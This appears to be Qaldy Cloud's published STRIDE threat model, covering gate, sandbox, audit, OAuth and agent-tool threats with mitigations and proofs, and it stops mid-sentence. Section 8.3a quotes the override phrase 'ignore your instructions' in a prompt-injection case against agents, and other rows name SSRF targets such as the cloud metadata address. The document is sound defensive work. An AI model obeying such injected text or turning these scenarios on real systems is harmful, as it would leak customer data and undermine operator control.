# Threat model The STRIDE threat model for every component of Qaldy Cloud: what is protected, how, which proof checks it, and what is still planned or accepted as a risk. URL: https://docs.qaldy.com/security/threat-model/ > **Status: Pilot.** This is the threat model the product is built against, kept in the repository next to the code and published here as it is, except for its last section: how to report a problem is on [Security](https://docs.qaldy.com/security/). A status of *built* names the proof that checks it where there is one (see [Proofs](https://docs.qaldy.com/security/proofs/)); *planned* means designed and not built; *accepted-risk* is a known, bounded risk with the reason given. File names in code spans are paths in a private repository, so you cannot open them yet. Wording such as “tonight” refers to the build the sentence was written for. What Qaldy Cloud defends, against whom, with which layers, what an attacker who gets one employee account could reach, and which of this is proven and where. Last reviewed 2026-10-18. This is written to be read by a customer's security reviewer. It is not an audit, a penetration test or a certification: none of those has happened yet, and nothing here should be read as claiming one. Every row says whether the safeguard is **built**, **planned** or an **accepted risk**, and the proofs say where they ran. The promise this document defends: **app code never sees a secret, can't reach anything its manifest doesn't name, can't be opened by anyone the share graph doesn't allow, every action lands in a tamper-evident log, and data stays in the workspace's cell.** The last part is Planned for Kazakhstan; see "Residency". Where things run today (the pilot cell, since 2026-10-17): the console is a Cloudflare Pages site (`app.qaldy.com`); the API and MCP server run on one AWS host in `eu-central-1` behind a Cloudflare tunnel; the gate runs on its own host in the same account; the runtime host is a Cloudflare Worker; Postgres is RDS; apps are served from a temporary domain. There is one cell and one maintainer. The pilot is invite-only. ## 1. Layers Each layer assumes the one outside it has failed. | Layer | What it is | What it stops | Status | Code and proof | |---|---|---|---|---| | Edge | Cloudflare in front of every public name; the API and gate hosts accept traffic only through tunnels (no inbound ports) | Direct hits on origin hosts, plain-HTTP, volumetric noise | built | `infra/aws/security_groups.tf`, `infra/cloudflare/`; proof L15 | | Sign-in and sessions | Email one-time code or Google; cookie `HttpOnly`, `Secure`, `SameSite=Lax`; `Origin` check on every change | Stolen-cookie CSRF, development login in production | built | `apps/api/src/http/middleware.ts`, ADR 0011; proofs L3, L4, L5 | | Authorization | OpenFGA decision on every object; an unknown id, or one in another workspace, answers `404` | Cross-workspace reads (IDOR), privilege creep | built | `packages/authz`, `apps/api/src/http/access.ts`; proofs A, B, B2, R, L7 | | Sandbox | App code runs in a workerd isolate loaded by the Dynamic Worker Loader; its only exit is the host's egress entry point | App code reaching the network, other apps' data or the host's keys | built (workerd alone is not a hardened boundary: see accepted risks) | `apps/runtime-host/src/load-app.ts`; proofs C3, D | | Gate | A Rust service on its **own host** with its own secret, in front of both app traffic and every outbound call | Unauthenticated app access; any call to a host the manifest does not name; private addresses; token leaks | built | `crates/qaldy-gate`; proofs A, B, D, C2 to C6 | | Sealed secrets | Connection keys are sealed (HPKE) to the gate's public key on receipt; the API holds no plaintext and cannot open them; they are never returned | A database dump or backup yielding usable credentials | built (the gate's private key lives in Secrets Manager, not an HSM) | ADR 0013, `packages/crypto`; proofs C1 to C5, L8 | | Audit | Every change writes a hash-chained row in the same transaction; append-only by trigger; **signed daily checkpoints** (ed25519, key outside Postgres); a **copy of each checkpoint in an Object-Locked vault**; streaming to the customer's own destination | Edited, removed or reordered history; a rewritten chain up to the last checkpoint | built; the vault copy is not on yet: the API container has no AWS credentials (see Audit, gap 8) | ADR 0018, 0027; proofs E1 to E3, L9, L10 | | Backups | Nightly database dumps to the same Object-Locked bucket (Governance mode, 35 days); RDS point-in-time restore | Destroying history from inside with the API's own credentials | built | `infra/aws/s3.tf`, `infra/aws/host/api/qaldy-backup` | ## 2. What we protect | Asset | Where it lives | Who can read it | |---|---|---| | Connection keys (a bot token, an API key) | Postgres, sealed; plaintext only in gate memory for one request | The gate. Not the API, not the console, not app code, not Qaldy staff through the product | | Customer app data and app code | Per-app SQLite behind the runtime host; bundles by content hash | The app, through its own binding; people the share graph allows | | People and sessions | Postgres (emails, names, sessions) | The API | | The audit log | Postgres, plus the customer's own copy if they stream it | Workspace admins | | Platform keys | Secrets Manager (API, gate, OpenFGA), Workers secrets (runtime host) | The role of the host that needs each one | | Prompts sent to the builder | Sent to the model provider chosen by the workspace policy | The provider; never stored beyond the build record | ## 3. Who we worry about | Actor | What they can do | What stops them | |---|---|---| | Anyone on the internet | Reach the public names, guess ids, send malformed requests | Edge, `401` before any body is read, `404` for unknown ids, rate limits (proofs L2, L5, L6) | | A signed-in member without rights | Call any route | Server-side authorization on every route; admin-only for security, keys and the panic button | | An app author, or the agent writing the app | Ship hostile code, ask for more access, inject text into a prompt | Static policy rules, a human-approved manifest, the sandbox, the gate's default deny; an app cannot approve its own widening | | A coding agent holding a workspace token | Do what the token's scope and the person's role allow, in one workspace | Scoped, expiring tokens; no route that touches keys, tokens, members, sinks or the panic button accepts a token | | A workspace admin who goes rogue, or whose account is taken | Share widely, add a connection, point the audit log elsewhere | Every one of those is an audit row that streams out; keys they paste are write-only; the panic button revokes everything they handed out | | A compromised dependency | Run code in the API, the gate or a build | Exact pins and a committed lockfile; no install step for generated apps. Continuous provenance checks are planned | | A connected service that misbehaves | Return a token in a reply, redirect, or point an allowed name at an internal address | The gate scrubs replies, follows no redirects and re-checks the resolved address | | Someone who gets one Qaldy employee account | See the next section | See the next section | ## 4. If one employee account is taken The pilot has one maintainer, so this is the honest short answer: **the account that can ship code can reach everything the cell holds, including the gate's private key.** What that means, by account: | Account | What an attacker could read or change | What they could not | What reduces it | |---|---|---|---| | **GitHub** (repo write) | Change code and add workflows. A workflow can use the secrets and the cloud deploy role its environment exposes (the Cloudflare token, the email key, the AWS OIDC role), so this account is a path to the next two rows | Find long-lived cloud keys: there are none after bootstrap; secrets are not in the repo or in logs | Required reviewers on the deployment environments and a second maintainer: planned | | **AWS** (console or a deploy role) | Read the gate's private key from Secrets Manager, and so unseal stored connection keys; run commands on the hosts (Systems Manager); read the database | Open an inbound connection to either host (there are no inbound ports) | Hardware-key admin accounts, KMS or HSM custody of the gate key: planned | | **The API host's own role** (a bug in the API, or code running there) | Write to the vault, read its secret, reach the database | Read back, overwrite or delete anything in the vault; read the gate's secret (a separate role on a separate host) | The vault bucket policy and the role's statements (`infra/aws/iam.tf`) | | **Cloudflare** | Change DNS and routes, read Workers secrets, pause a tunnel | Read the database or the gate's key | Scoped API tokens; hardware-key sign-in: planned | | **A customer's workspace admin** | Everything in that one workspace | Anything in another workspace (`404`) | The panic button; streaming the audit log out | | **A support or builder session** | There is no support access to customer data in the product today | n/a | Planned: time-boxed access that is itself audited | What an attacker with **database access only** gets: ciphertext for every connection key, hashed tokens (HMAC with a server pepper), sessions, and the audit log. They can rewrite recent audit rows; they cannot do it undetected beyond the last checkpoint, and cannot touch checkpoints already copied to the vault. (The vault is in Governance mode for 35 days: an AWS administrator with the bypass permission could still remove a copy. Compliance mode, which nobody can shorten, is planned.) ## 5. Operational safeguards Four features give an owner control after something goes wrong. All are admin-only, audited and console-only (a personal access token cannot use them). - **Signed checkpoints and a locked copy.** Once a day the end of each workspace's chain is signed with a key that is not in the database, and a copy is written to the Object-Locked vault. Verification names a chain that no longer matches a checkpoint. It cannot see events newer than the last one; streaming covers that gap. - **Audit streaming and export.** A signed webhook or, in Preview, the customer's own S3 bucket through a role they own; or a download of the whole chain as JSON Lines. `pnpm audit:verify-export` checks a copy offline. - **Key rotation and expiry.** A new key replaces the old one only after it works through the gate; admins record expiry dates and are reminded at 14 days, 3 days and on the day. - **The panic button.** Revokes every access token, backend key, other member session, connection key, model provider key, "connect an AI app" sign-in, open invite link, open guest link and inbound webhook secret in one transaction, with a typed confirmation and one audit row of counts. - **Reads are recorded.** Opening the audit log, the connection and key inventories, and exporting the chain leave an audit row (who, which view, how many; never the content). Details and limits: `docs/adr/0027-operational-security.md`, `docs/security/audit-streaming.md`. ## 6. Proofs: what was shown, and where A claim in this document that says "proof" names a test that re-runs. Where it ran is part of the record. | Ledger | What | Where it ran | Latest | |---|---|---|---| | `docs/security/trust-ledger.json` | 17 end-to-end proofs of the security model (`pnpm test:trust`): gate access, sharing and revocation, write-only secrets, egress, audit, the builder path | A developer machine, against local processes with development keys, PGlite and the offline builder | 2026-10-16, 17 of 17 | | `docs/security/production-ledger.json` | 15 proofs against the live cell, from outside, that change nothing (`scripts/prod-proofs.mjs`, `.github/workflows/prod-proofs.yml`) | The pilot cell, from GitHub Actions | Not yet committed. A dry run from a laptop on 2026-10-18 passed the 10 proofs that need no credentials and failed one: `security.txt` was not served yet, which this change fixes | The production proofs cannot show anything about code paths that need a write (rotation, the panic button, streaming); those are covered by the API's test suite on an in-process cell, not by a live proof. Proof ids used below: the T-numbers are claim ids in this document; the ledger ids are in `docs/security/trust-ledger.json`. | ID | Claim | Shown by | |---|---|---| | T1 | A user with no tuple on the app gets `403` at the gate; no app code runs | ledger A | | T2 | After a share the same user gets `200`; after unshare, `403` again once the cache TTL passes | ledger B, B2 | | T3 | Token bytes are absent from the bundle, the isolate's `env`, globals and every reply | ledger C3, C4 | | T4 | `fetch('https://example.org')` returns `403 egress_blocked`, with an event and an audit row | ledger D | | T5 | `pnpm audit:verify` passes over every row; tampering with one fails at that row | ledger E1, E2, E3 | | T6 | A raw TCP `connect()` from the isolate fails | **not in the ledger yet** (planned) | | T7 | Gate stdout/stderr and spans contain no token bytes | ledger C6 | | T8 | A tainted AI run's external send needs a matching approval | **planned** | | T9 | A run that read a table the owner labelled is refused at any destination not allowed for that label, also under another run id; an allowed send stays within the request and run limits; each decision is an audit row of names | **not in the ledger yet**: `pnpm test:trust` steps I1 to I3 (Preview), run on a developer's machine | | FGA | Role inheritance, `user:*` is `can_view` only, removing a member revokes | `fga model test` on `packages/authz/model.fga.yaml` | | AUD | Editing, deleting or reordering a row, or rewriting a chain, is detected | `@qaldy/db` audit tests, `apps/api/tests/audit-checkpoints.test.ts` | | HPKE | TS seals and Rust opens the same vectors; tampered ciphertext, wrong key id or aad fail | `tests/vectors/hpke.json`, in CI | | POL | Every profile and workspace policy yields the expected cell, providers, redaction | `resolvePolicy` tests in `@qaldy/contracts` | | BLD | One failing fixture per builder static rule | `@qaldy/builder` | | GATE | Handoff replay and expiry, context signatures, action allowlist, private-IP denial | `cargo test -p qaldy-gate` | | HOST | Unsigned or expired context rejected; a bundle whose hash differs is refused | `@qaldy/runtime-host` tests | | API | Cross-workspace reads `404`; share needs `can_share`; `429` on rate limit; publish refused below Trust Score 60 | `@qaldy/api` tests | | DB | `connector_secrets` has exactly four columns; no plaintext column anywhere | `@qaldy/db` schema test | | OPS | Rotation swaps only after a working call; the panic button revokes everything and keeps the pressing session; checkpoints catch a recomputed chain and a cut tail | `apps/api/tests/key-hygiene.test.ts`, `audit-checkpoints.test.ts` | | L1 to L15 | The live-cell proofs | `scripts/lib/prod-proofs.mjs` | How to read the status columns below. **built**: in the code, with the named proof; if the proof is not green, `PROGRESS.md` says so. **planned**: designed, not built. **accepted-risk**: known, bounded, reason given; to be revisited before the first paying workspace. ## 7. Trust boundaries and keys | ID | Boundary | Control at the boundary | |---|---|---| | B1 | Browser ↔ console origin | Better Auth session cookie, `Origin` check on mutations, CORS = console origin only | | B2 | Browser ↔ user-content domain (`*.apps.localhost`, `*.qaldy.app`) | Gate ingress: one-time handoff, per-host cookie, FGA `can_view` | | B3 | Gate ingress → runtime-host | ed25519-signed context `{user, app, version, exp}` | | B4 | App isolate → runtime-host | `globalOutbound` is the only exit; isolate `env` holds no secrets or keys | | B5 | Runtime-host → gate egress | ed25519-signed context `{app, version, workspace, run, exp}` (ADR 0014) plus `flow {scope, reads}`: the tables the host recorded the isolate reading, for the information-flow policy (§10a); `tainted` for the trifecta rule once §10 lands | | B6 | Gate egress → third-party APIs | rustls, fixed upstream host per connector, checked resolved IP | | B7 | API → Postgres, OpenFGA, Bifrost | Internal network, service credentials | | B8 | Builder → LLM provider | Prompt out, untrusted text back; provider chosen by `resolvePolicy` | | B9 | Cell → global directory | `workspace_id → cell` and billing ids only; no personal data | | B10 | Tenant ↔ tenant in a sovereign cell | Firecracker microVM per tenant (planned, ADR 0005) | | Key | Holder | Purpose | Local development | Pilot cell | |---|---|---|---|---| | Gate HPKE X25519 private key | Gate only | Open sealed connector secrets | File outside the repo, path from env | Secrets Manager, readable only by the gate host's role (KMS or HSM custody: planned) | | Gate HPKE public key (`key_id`) | API | Seal secrets on write | API config | Secrets Manager (API secret) | | Handoff key (ed25519) | API signs, gate verifies | B2 one-time handoff | Env | Secrets Manager (API secret) | | Ingress context key (ed25519) | Gate signs, host verifies | B3 | Env | Secrets Manager (gate secret) | | Egress context key (ed25519) | Host signs, gate verifies | B5; never passed to isolates | Host env | Workers secret | | Audit checkpoint key (ed25519) | API signs; anyone verifies with the public key | Daily checkpoints (ADR 0027) | Derived from the dev API key | `QALDY_AUDIT_ED25519_SK` in the API secret when set, otherwise derived from the API signing key (the Security screen says which) | | Webhook and sink signing secrets | API (sealed under a key derived from `QALDY_KEY_PEPPER`) | Inbound webhook checks; audit-stream signatures | Dev pepper | Secrets Manager (API secret) | ## 8. Components, one table each (STRIDE) ### 8.1 qaldy-gate: ingress **Assets:** handoff tokens, per-host session cookies, ingress signing key, FGA decision cache. **Boundaries:** B2, B3. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Replayed handoff | Leaked `?handoff=` URL reused | ed25519 token signed by the API over `{sub, host, jti, exp}` (ADR 0007), expiry ≤ 60 s, `jti` consumed on first use | built | GATE, T2 | | S | Cookie reuse on another app | Cookie for app A presented to app B | Host-only cookie (no `Domain`), `HttpOnly`, `SameSite=Lax`, opaque id bound to its host; `__Host-` + `Secure` over TLS | built | GATE | | T | Forged identity headers | Client sends `x-qaldy-user: admin` | Gate strips every inbound `x-qaldy-*` header; host trusts only the signed context | built | GATE, HOST | | T | Context tampering | User or version edited between gate and host | ed25519 over canonical JSON, `exp` 60 s; host rejects anything that doesn't verify | built | HOST, T1 | | R | Disputed access | "I never opened that app" | Audit row per session start and per deny: user, app, version, client IP | built | T5 | | I | Stale grant after unshare | Access continues after removal | FGA cache TTL ≤ 5 s, flushed on `share.changed`; residual window is the TTL | accepted-risk (≤ 5 s) | T2 | | I | Stale grant during a control-plane outage | The API is down, so a removal just before the outage is not seen | A remembered `Allowed` is used only on a transport error, timeout or 5xx, never in place of a 4xx or a deny; it is cleared by every `share.changed` invalidation; at most 30 minutes (`--stale-authz-secs`, `0` turns it off); people never seen get a 503, not access (docs/backend/degraded-mode.md) | accepted-risk (≤ 30 min, only while the API is unreachable) | GATE | | D | Request flood on an app host (denial of wallet) | Traffic exhausts the gate or runs up the workspace's bill | Connection limit and 1 MiB body cap; the shield (docs/backend/cap-guard.md): per-person, per-address (IPv6 as /64, `CF-Connecting-IP` believed only from a non-public peer) and per-app token buckets, a per-app daily cap, header-only bot rules, a flood detector that puts the app to sleep and emails the owners; refused requests are not billed. Memory-bounded and per gate process: with several replicas each keeps its own buckets (a shared limiter is planned) | built (beta, not load-tested on the pilot) | GATE | | E | Public access without policy | Owner of a Bank app sets "anyone with the link" | `user:*` is written only by the API after workspace policy and public-safe archetype checks; gate only evaluates `can_view` | built | FGA, API | | E | A public link on an app that answers strangers | An app serves `/export` with no check of `ctx.user`, and its owner turns on "anyone with the link" | Before `user:*` is written the API needs a finished exposure check of the current version (< 24 h, no high finding) and the app's name typed back, naming the check that was shown. The check runs the version in a sandbox copy of the runtime host (empty database with planted marker rows, deny-all network) and asks it questions with no sign-in, as a viewer and as the owner. A high finding refuses the link in a sentence that names it (§3.9) | built (beta) | API, HOST, BLD | ### 8.2 qaldy-gate: egress **Assets:** HPKE private key, plaintext tokens (in memory, per request), policy cache, connector routing table. **Boundaries:** B5, B6. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | App impersonates another app | Request claims `app=B` to use B's token | `{app, version, workspace}` bound by the host at load time and signed with a key the isolate can't read; the `run` id comes from the SDK as a claim, and the gate checks it names an active run of that version (ADR 0004) | built | T3, GATE | | T | Allowlist widened in place | Manifest of a live version edited | Manifest is immutable per `app_version`, bound to `bundle_hash`; wider access needs a new version, approval and Trust Score | built | API | | R | Untraced outbound call | Call leaves no record | Every allow and deny writes an audit row + event: app, version, run, connector, action, host, upstream status. Never payloads or headers | built | T4, T5 | | I | Token in logs | Telegram token sits in the URL path `bot` | Tracing records the route template (`telegram/sendMessage`), never upstream URL or headers; plaintext zeroized after use | built | T7 | | I | Token echoed back | Upstream error or redirect contains the token | No redirect following (today); exact token bytes scrubbed from upstream headers and body (planned) | built / planned | GATE | | I | SSRF via an allowlisted name | Declared domain resolves to `127.0.0.1`, `10/8`, `169.254.169.254`, or rebinds after the check | Gate resolves DNS itself, rejects loopback, private, link-local, CGNAT, multicast and metadata ranges (v4 and v6), connects to the checked IP | built | GATE | | D | Runaway app loop | App sends 10,000 messages | Per-run egress call cap and per-connector rate limit | planned | — | | E | Unrequested connector action | Manifest has `telegram.sendMessage`; app calls `deleteMessage` | Gate matches `{connector, action}` against the version's manifest; anything else is `403 egress_blocked` | built | T4, GATE | | E | Exfiltration via an allowed endpoint | App posts rows to its declared CRM domain | Not stoppable at the network layer. Each extra domain needs a reason, shows as a sentence on the manifest card and lowers Trust Score; AI apps fall under §10. Data the owner labelled sensitive is held to the information-flow policy (§10a): after a read, only the destinations the owner allowed for that label, in small amounts | accepted-risk; Preview for labelled data | BLD, T9, GATE | | I | Labelled data leaves with a run that read it | A prompt-injected or careless app reads `customers`, then posts them to a host the manifest lists, a model, or Telegram | §10a: the gate keys the run on what the host signed, refuses any destination not allowed for the label, caps request and run size, records each decision; the owner sees the flow per app | Preview | T9, GATE, HOST | ### 8.3 runtime-host (workerd, Dynamic Worker Loader isolates) **Assets:** bundles, isolate memory, egress context key, per-app `db` binding. **Boundaries:** B3, B4, B5. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Gate bypass | Request sent straight to the host | Host binds to loopback/internal network and refuses requests without a valid ingress context | built | HOST, T1 | | T | Bundle substitution | Cache holds a different bundle under a version | Loader cache keyed by `{workspace}/{app}/{bundle_hash}` (ADR 0004); host recomputes the sha256 of every fetched bundle before loading and fails closed on mismatch | built | HOST | | T | Poisoned bad-day copy | Something else that can write the zone's Workers cache plants a bundle naming another app, read while the API is down | The copy is read only when the API cannot be asked; it is sealed with an HMAC keyed from the host's own secret over the version id and exact body, then checked like a fresh fetch (hash, app and workspace against the signed context) | built (beta) | HOST | | R | Unattributed run | Events can't be tied to a run | Host mints the run id when a run starts; every event and egress context carries it (on egress as a gate-checked claim, ADR 0004). Events come from the host's service credential, never from app code directly | built | T5 | | I | Secret read by app code | App dumps `env` and globals | Loaded worker's `env` holds only the app-scoped `db` and SDK plumbing; keys and secrets stay in the host's own env | built | T3 | | I | Cross-app data access | App A opens app B's SQLite | `db` binding built per app id by the host; access policy generated from share settings (ADR 0010); no file path from app code reaches the store | built | API | | I | `globalOutbound` bypass | `connect()` via `cloudflare:sockets`, or an extra binding | Loader gets `globalOutbound` = host egress entrypoint and no other bindings. Verify in workerd that `connect()` routes through it; if not, the builder and host reject the import | built | T6, BLD | | D | CPU or memory exhaustion | Infinite loop starves other apps | Cloudflare enforces per-invocation limits; local workerd uses per-request CPU limits where its config allows | accepted-risk, planned microVM | — | | E | Isolate escape | V8 or workerd bug | workerd alone lacks defence in depth (its README says so). Sovereign: workerd in a Firecracker microVM per tenant. Global: Cloudflare's isolation layers. Today the pilot runs plain workerd on Cloudflare Workers | accepted-risk for now, planned | — | ### 8.3a Agents: published tools and pushed news (ADR 0030) **Assets:** what an agent may start in a workspace; the model's context, which a tool description or a pushed message enters unasked; the feed of what needs a person. **Boundaries:** B1, B7. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | An agent publishes its own tool | A token with write scope publishes or edits a tool to reach itself | Publish, change, switch off and take back are console-only: the personal-token route list does not carry them and a token gets `console_only`. A token may list the tools it can call and call one | implemented | API | | T | Permissions widen after review | An editor adds a host or AI to the app behind a live tool | The tool keeps the SHA-256 of the permissions a person read. A different hash makes it `needs_review`: agents stop seeing it and a call is refused until a person reads the new permissions | implemented | API | | T | Input outside the schema | An agent passes extra fields, a long string or the wrong type | The API checks every call against the tool's own schema (a small subset of JSON Schema) and refuses unknown fields; nothing starts on a failure. 32 KB at most | implemented | API, MCP | | T | Name collision | A published tool named like a built-in one (`audit_log`) captures calls | Names that are built-ins or start with `qaldy_`, `mcp_`, `system_` are refused when saved, and the MCP server offers no published tool at all when the API hands it one with such a name | implemented | API, MCP | | E | More rights than the person has | A tool runs with its owner's rights, or an agent runs what its person could not | A call is `requireAutomation(can_run)` for the person the token acts for, then the ordinary run path: monthly allowance, spending cap, the app's manifest and the gate. There is no owner-rights mode | implemented | API | | I | Prompt injection through a tool description | A teammate with edit access to the app writes "ignore your instructions" into the description | Cannot be removed, since the description is the owner's words. The server prefixes who published it and what limits it, marks the tool as able to change things and reach other services (so clients that confirm writes confirm it), and the review dialog shows the owner exactly what agents will read. Every call is audited | accepted-risk (mitigated) | MCP | | I | Free text from a running app reaches a model | A run's error message, an approval title or a blocked hostname is pushed or returned | A tool's answer carries the error code, never the message. A feed item and a pushed message hold ids, enumerated codes and the names people gave things, with control characters, quotes and angle brackets removed. The text is behind `inspect_run` and the audit log, marked as data | implemented | API, MCP | | I | Someone else's news | An agent subscribes to a teammate's attention resource, or the feed shows approvals asked of another person | A subscription may name only the caller's own resource; the feed is the event stream seen through the caller's `can_view` and approvals asked of the caller only; the API filters again when the resource is read | implemented | API, MCP | | I | The server card gives away the workspace | A public crawler reads tools or people | The card holds the server's name, version, endpoints and how to sign in. It leaves out tools and capabilities, carries no credential and no person's data, and is rate-limited per address | implemented | MCP | | R | "My agent never did that" | Dispute about who started a run | A run started through a tool has a row naming the person, the token, the tool and the client, written in the run's own transaction; the audit log has `run.start` and `mcp.tool_call` (field count, never values). Publishing and taking back are `mcp.tool_*` rows | implemented | API | | D | Call spam | An agent calls a tool in a loop | 30 calls a minute for one person and tool (`429 tool_rate_limited`) on top of the monthly allowance and spending cap | implemented | API | | D | Long polls hold the API | Many subscribed agents each hold a request | At most 3 waits per person, 3 streams per token and 256 per process; the watch backs off when an answer comes back too fast to be a long poll and stops when the stream ends; one audit row per ten minutes for a polling token | implemented | API, MCP | ### 8.4 API and control plane **Assets:** users and emails (PII), sessions, OpenFGA tuples, sealed secrets, audit chain, LLM provider keys, Bifrost virtual keys. **Boundaries:** B1, B7, B9. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Session theft or CSRF | Cross-site POST to a share route | Cookie `HttpOnly`, `Secure` (TLS), `SameSite=Lax`; mutations require `Origin` = console origin | built | API | | S | Dev login reaches production | Missing OAuth keys in prod | Dev login exists only with no OAuth keys **and** `QALDY_ENV` ≠ `production`; the route is not registered in production, and the API refuses to boot there with `QALDY_DEV_LOGIN` set (ADR 0011) | built | API | | T | Unauthorized share | A runner writes tuples | Share routes require `can_share` (owner); `user:*` also needs workspace policy + public-safe archetype | built | FGA, API | | T | Audit row edited | DB writer changes one row | `hash = sha256(prev_hash ‖ canonical_json(event))`; `pnpm audit:verify` | built | AUD, T5 | | T | Audit tail rewritten | DB owner recomputes the chain from row n | API role gets `INSERT, SELECT` only and a trigger rejects `UPDATE`/`DELETE`/`TRUNCATE`; a **daily ed25519-signed checkpoint** (key outside Postgres) fails verification when the chain up to it no longer matches or its end was cut, and a copy of each checkpoint goes to an Object-Locked vault where the API role cannot read, overwrite or delete it (ADR 0018, 0027). Events newer than the last checkpoint can still be rewritten by someone with database access unless the customer streams the log out; the vault is Governance mode, so an AWS administrator with the bypass permission can remove a copy | built; vault copy needs `QALDY_AUDIT_VAULT_BUCKET` and AWS credentials the API container does not have yet (gap 8); Compliance mode planned | AUD, OPS | | R | Admin denies a change | "I didn't change sharing" | Every mutation writes an audit row (actor, action, object, before/after) in the same transaction | built | AUD | | I | IDOR across workspaces | `GET /v1/apps/:id` for another workspace | `requireFga(relation)` on the object for every route plus `workspace_id` in every query; forbidden and unknown both return `404` | built | API | | I | Plaintext secrets at rest | Database dump | API holds only the gate's public key and seals on receipt; no plaintext column; reads never return secret fields | built | DB, HPKE | | I | Secrets in logs | Request body logged | Logger redacts `secret`, `token`, `password`, `authorization`, `cookie`; connector secret routes never log bodies | built | API | | D | Expensive endpoints | Build, SSE or run spam | Rate limit per session and per workspace; SSE connection cap per user; DBOS queues with concurrency limits | built | API | | E | Direct OpenFGA or Postgres access | Service reachable from outside | Compose network only, dev ports on `127.0.0.1`; prod: private network + OpenFGA preshared key | planned (dev defaults: accepted-risk) | — | ### 8.4a OAuth for remote MCP clients (ADR 0026) **Assets:** workspace data an agent can read or change as the person who agreed; access and refresh tokens; the consent screen. **Boundaries:** B1, B7, B9. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | App pretends to be another | Anyone registers a client named "Claude" with their own redirect address | A name an app gives itself is never trusted: the consent screen says "Not verified" unless the redirect address is one Qaldy recognises (claude.ai, chatgpt.com), and always shows where the browser goes next | built | API, console | | S | Code sent to a stranger | A crafted authorize link with another `redirect_uri` | Exact match against what the client registered or published (only a loopback port may differ); a request that fails before the address is trusted never redirects to it | built | API | | T | Code interception or injection | A stolen code is exchanged by another program | PKCE S256 required, single-use code of 60 s stored as a keyed hash, bound to client and redirect address; a replayed code ends the grant it made | built | API | | T | Stolen refresh token | A copy is used after the client rotated | Refresh tokens rotate on every use; the replaced one works for 30 s, then its use ends the grant (`oauth.refresh_reuse` on the audit log) | built | API | | T | Token for another server | A token issued for one MCP server is shown to another, or ours is shown elsewhere | Tokens carry their audience (the MCP origin, RFC 8707); the API and the MCP server each refuse a token that is not for them; only an https origin is accepted in production | built | API, MCP | | T | Agent does more than the person allowed | A read grant calls a write route; a grant outlives membership | A grant maps to personal-token scopes, so the route allowlist, scope check, workspace match and the person's live membership apply on every call; leaving the workspace ends the grant | built | API | | R | "I never allowed that" | Dispute about an agent's action | Consent, grant, revoke and refresh reuse are audit rows; every call is an `mcp.call` row naming the grant and the app | built | API, MCP | | I | SSRF through the metadata fetch | A client id URL points at the cloud metadata service or an internal host | https on 443, host names only, every resolved address must be public, the connection uses the checked address, no redirects, 5 s, 10 KB | built | API | | I | Tokens in logs or the database | A dump or a log is read | Codes and refresh tokens are stored as keyed hashes; access tokens are not stored; the audit rows hold ids and names only | built | API | | D | Registration spam | Strangers fill the client table | Rate limits per address and in total; clients with no grant are removed after 14 days. Behind the tunnel the per-address limit is effectively global | built, partly accepted-risk | API | | E | A page drives the consent screen | A web page posts a decision | The decision route is console-only: cookie session and console `Origin`; a bearer token gets `console_only` | built | API | ### 8.4c Try it without an account, and Web Push (ADR 0036) **Assets:** the platform's capacity (a stranger gets a sandbox), the operators' links, visitors' network addresses, push subscriptions. **Boundaries:** B1, B7. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | E | A trial escapes its sandbox | A trial user calls connector, share, invite, token, plan or backend routes, or a new route nobody listed | One fail-closed guard after the session: reads in its own workspace, a short list of writes, everything else 403 `trial_limited`; the workspace policy also refuses connectors and model providers inside the builder | built | API (`try-it.test.ts`) | | E | Trial becomes a free compute farm | Scripted starts, many apps, many runs, build spam | One app, 25 runs, 8 plans an hour, 120 requests a minute per trial; 3 starts per network per hour, 6 per day (database, HMAC of the address), 30 per link per hour, the link's cap by one atomic UPDATE, a ceiling on trials at once; a trial ends at 24 hours and is deleted 6 hours later | built | API | | S | Guessing or scraping links | Token search, an unfurler spending a trial | 256-bit tokens, only a SHA-256 stored; the offer route starts nothing; 20 unknown tokens per network per 15 minutes | built | API | | S | A trial hijacks a real session | An operator opens a link while signed in | 409 `already_signed_in`: a trial never replaces a real session in the browser | built | API | | E | A visitor claims someone else's workspace, or keeps a trial into an account they do not own | Wrong code, a trial address as the target | The claim needs the trial's own session and a valid email code (limited like sign-in); a trial address is refused; the move is one transaction after the new grant is written | built | API | | I | Network addresses of visitors | A database read | Only an HMAC (key derived from the auth secret) is stored, deleted with the trial row after a week; never in audit rows or logs | built | API | | T | Spoofed visitor address | A client writes the proxy header | The header is trusted only when `QALDY_CLIENT_IP_HEADER` names it, to be set when nothing but the proxy can reach the API | accepted-risk (setting) | — | | I | The service worker keeps account data | A cached API response or a token in a cache key | It handles same-origin shell files only, refuses `/v1/` and `/internal/`, stores only plain 200s, never request data; a page is stored under one fixed key | built | `sw.test.ts`, checked in a browser | | S | Push aimed at an internal address | A subscription whose endpoint is `169.254.169.254` | The API posts only to the browsers' push services (allow-list, https, port 443, no credentials, no redirects) | built | API (`webpush.test.ts`, `push.test.ts`) | | I | Notification text leaks | An error message with a secret on a lock screen | Fixed wording per language; the raw error never leaves the API; messages are encrypted to the one browser (RFC 8291) | built | API | ### 8.4d Replay and dead letters (`docs/connectors/replay.md`) **Assets:** the input a failed run or a refused webhook call carried (it can hold personal data); the right to run an app again; the app's version history. **Boundaries:** B1, B7. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | I | Someone who may only view an app reads what a sender posted | A viewer opens the dead-letter list or a letter | The input is returned only to people with edit access (list preview and detail alike), with `Cache-Control: no-store`; a viewer sees that a letter exists and its size | implemented | API | | I | The input leaks into logs or the audit log | A replay or a refusal is recorded | Audit rows hold ids, codes, the version and a size; the platform log and the run row never carry the input; a test searches the audit rows, the run and the logs for a marker | implemented | API | | I | A letter in another app or workspace | `GET /v1/dead-letters/:id` with a guessed id | The app's `can_view` is checked first and every failure answers `404 dead_letter_not_found`, the same as an unknown id; bulk answers the same per id | implemented | API | | S | A forged call fills the queue | Anyone posts to a hook address | Only a call whose proof held is kept (signature, token, Telegram or GitHub secret); a public form and a console test event are not kept. An *unsigned* hook has no proof by the owner's choice: the address alone already starts runs there, and the cap below bounds the 